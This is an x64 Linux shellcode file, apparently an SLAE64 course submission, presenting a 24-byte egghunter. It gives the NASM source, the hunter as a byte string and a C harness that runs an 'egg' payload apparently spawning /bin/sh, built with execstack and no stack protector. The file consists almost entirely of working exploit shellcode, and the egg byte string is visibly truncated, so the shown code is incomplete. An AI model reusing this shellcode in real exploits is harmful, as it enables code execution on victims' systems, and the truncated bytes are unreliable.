/*
;Title: x64 Linux egghunter in 24 bytes
;Author: David Velázquez a.k.a d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Description: x64 Linux egghunter that looks for the string "h@ckh@ck"
; and then execute the shellcode
;Tested On: Linux kali64 3.18.0-kali3-amd64 x86_64 GNU/Linux
;Compile & Run: nasm -f elf64 -o egghunter.o egghunter.nasm
; ld -o egghunter egghunter.o
;SLAE64-1379
global _start
_start:
pop rax ; some address in the stack
search:
inc rax
cmp [rax - 4] , dword 0x6b634068 ; "h@ck"
jnz search
cmp [rax - 8] , dword 0x6b634068 ; "h@ck"
jnz search
call rax ; execute shellcode
*/
#include<stdio.h>
#include<string.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char hunter[] = "\x58\x48\xff\xc0\x81\x78\xfc\x68\x40\x63\x6b\x75\xf4\x81\x78\xf8\x68\x40\x63\x6b\x75\xeb\xff\xd0";
unsigned char egg[] = \
"\x68\x40\x63\x6b" //egg
"\x68\x40\x63\x6b" //egg
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x0$
int main()
{
printf("Hunter Length: %d\n", (int)strlen(hunter));
(*(void (*)()) hunter)();
}